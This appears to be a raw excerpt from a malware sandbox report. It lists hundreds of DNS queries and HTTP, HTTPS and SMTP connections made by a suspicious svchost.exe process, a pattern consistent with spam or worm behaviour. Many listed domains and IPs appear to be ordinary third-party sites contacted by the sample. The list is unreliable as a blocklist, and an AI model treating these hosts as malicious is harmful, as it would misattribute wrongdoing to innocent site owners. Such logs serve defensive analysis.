Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.76.64.25 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 213.186.33.16 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-kami.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: scintel.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.230.93.218 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kewlmail.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bount.com.tw
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: flamingorecordings.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: actmin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bosado.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pers.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail7.digitalwaves.co.nz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.88 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.53.77.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hes.pt
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: reproar.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.94.254.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.191.209.76 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 69.46.30.77 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: portoccd.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 43.255.29.192 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avc.com.sa
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.236.62.147 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.nelipak.nl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.145.148 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.194.190.151 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 128.204.134.138 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.94.166.30 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ultibax.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dspears.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.217.118.81 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.owsports.ca
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.224.212.222 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.stnic.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bggs.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: unicus.jp
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.41.152 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 89.31.143.1 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clinicasanluis.com.co
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.petsfan.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: peminet.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: umcor.am
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: michiana.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludomemo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.maktraxx.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pccj.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ssm.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wvs-net.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 108.170.12.50 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.205.126.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: adeesa.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.248.97.36 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sjbmw.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: strazynski.pl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.231.184.124 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.120.34.73 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amerifor.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 164.90.244.158 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gujarat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 18.177.67.59 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ifesnet.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.29.72 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vfcindia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aoinko.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yoruksut.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cpwpb.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: akdeniz.nl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.149.134.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rtcasey.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: n23china.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gydrozo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hamaker.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.aevga.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sigtoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 133.125.38.187 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 174.129.25.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.koz1.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 89.161.136.188 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: refintl.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.myropcb.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: listel.co.jp
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 89gospel.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 15.197.142.173 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hyab.se
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zemarmot.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.49 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: thiessen.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.237.66.112 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: samtv.ro
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.185.0.4 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: techtrans.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: calvinly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ftchat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.19.230.145 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pcoyuncu.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kavram.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webavant.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.156.49 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.172.28.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yasuma.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: koz1.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.94.41.167 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.122.170.15 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: johnlyon.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 65.52.128.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 69.89.107.122 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.15 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.12 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.219.100.91 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: from30ty.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.8.8.200 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.76.27.77 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bigzz.by
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vonparis.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.179 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: x96.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: envogen.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kairel.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nlcv.bas.bg
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com-edit.fr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 135.125.108.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: linac.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: uster.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: noblesse.be
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bossinst.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: someikan.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.59.243.223 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-mould.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.26.12.244 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: toundo.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: geecl.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dbnet.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ktenergo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.220.211.163 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.diamir.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.130.146.206 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: juso-gr.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.wnsavoy.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.129.138.60 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.75.216.107 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yhsll.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: anteph.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hyab.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mikihan.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ramkome.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wahw.com.au
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.227.38.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.178.189.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 51.89.6.56 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.ka-mo-me.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 216.239.34.21 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.189.227 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kayoaiba.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbmfg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: orlyhotel.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ccssinc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 183.181.82.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-trust.jp
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.209.32.212 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.225.40.19 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.75.251.116 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: forbin.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.231.224 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: univi.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cutchie.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.live.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.230.155.43 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.64.163.50 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.77.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 154.213.117.166 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.ex-olive.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.elpro.si
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 151.101.2.132 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: coxkitchensandbaths.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: invictus.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: holp-ai.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.fcwcvt.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shittas.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.24.161.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.49.23.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bible.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 67.21.93.229 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.iamdirt.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.137.75.45 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.126.211.112 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: haigh-me.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.243.77 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 83.223.113.46 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: canasil.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ldh.la.gov
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kevyt.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: awfraser.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.128.196.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: s5w.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: in1.smtp.messagingengine.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: paraski.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.186.238.101 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: araax.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 74.208.215.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: isom.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: any-s.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.36.175.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: piacton.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.railbook.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 78.46.224.133 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ciicsc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.abdg.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.9 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: metaforacom.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 210.140.73.39 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dhh.la.gov
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbras.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atbauk.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ymlp15.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: biosolve.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 213.142.131.159 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.0.113.0 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.depalo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hbfuels.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atis-sk.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nekono.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cvswl.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.3 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.findbc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cubodown.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.hummer.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.sbcglobal.yahoo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 61.200.81.23 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cqdgroup.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.164.178 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 63.251.106.25 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fortknox.bm
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: camamat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ikulani.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cjborden.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: alexpope.biz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fundeo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.233.160.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.79.166 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lpver.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.151.30.147 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.34.228.78 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: web-york.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.80.123.104 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.168.172.217 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sanfotek.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.168.172.221 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.172.94.1 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 159.89.244.183 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dzm.cz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 204.11.56.48 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: arowines.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.c9dd.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fifa-ews.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hazmatt.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.vitaindu.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aba.org.eg
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 47.91.167.60 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wanoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shiner.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.com-sit.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.8.75 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 82.208.6.9 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 93.187.206.66 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kustnara.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.dayvo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: scip.org.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.usadig.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.161.222.85 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.214.171.193 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.169.149.78 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 183.90.232.24 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: epc.com.au
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 75.2.95.235 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: okashimo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: slower.it
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 75.2.18.233 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.220.29 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.224.10.110 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: workplus.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: awal.ws
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.yoruksut.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: c-drop.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jnf.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: top1oil.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mjrcpas.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cjcagent.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: at-shun.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kumaden.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: daytonir.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.fink.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: iranytu.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.42.105.162 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: banvari.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 178.249.70.75 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ccrsi.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbaben.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sinwal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: likangds.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.ftchat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: h-et-l.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.64.150.164 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.209.11 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rkengg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: madjek.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wolffkran.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jacomfg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: captlfix.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ntc.edu.au
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.129.18 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: popbook.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: acraloc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: revoldia.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amele.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: uhsa.edu.ag
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atb-lit.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skgm.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: icd-host.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 13.56.33.8 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: burstner.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.205.242.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xinhui.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ie-roi.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mijash3.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.153.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.128.216 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xult.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shanks.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.153.26 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.22.232.175 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jchysk.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vivastay.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.235.175 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 59.106.13.169 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-asset.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.pwd.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 193.70.68.254 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: touchfam.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.xaicom.es
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.yumgiskor.kz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.100.180.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: indonesiamedia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: a-domani.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.235.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.235.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.crcsi.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nettlinx.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: k-nikko.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jroy.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: doggybag.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbp-jp.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sgk.home.pl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 18.197.121.220 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: htsmx.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.pcgrate.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.96.7 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dwid.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 59.106.13.181 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skypearl.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludea.cz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 164.92.82.47 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 154.210.36.66 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.209.253.30 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 78san.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: esmoke.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: simetar.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: btsi.com.ph
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: agulatex.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gcss.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 64.18.191.61 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.178.208.141 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: alt4.gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.cel-cpa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 13.248.155.104 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: leapc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: magicomm.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xsui.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.186.187.147 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.64.147.213 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mkm-gr.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dyag-eng.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hchc.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webband.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: keio-web.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.97.7 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.100.146.220 80
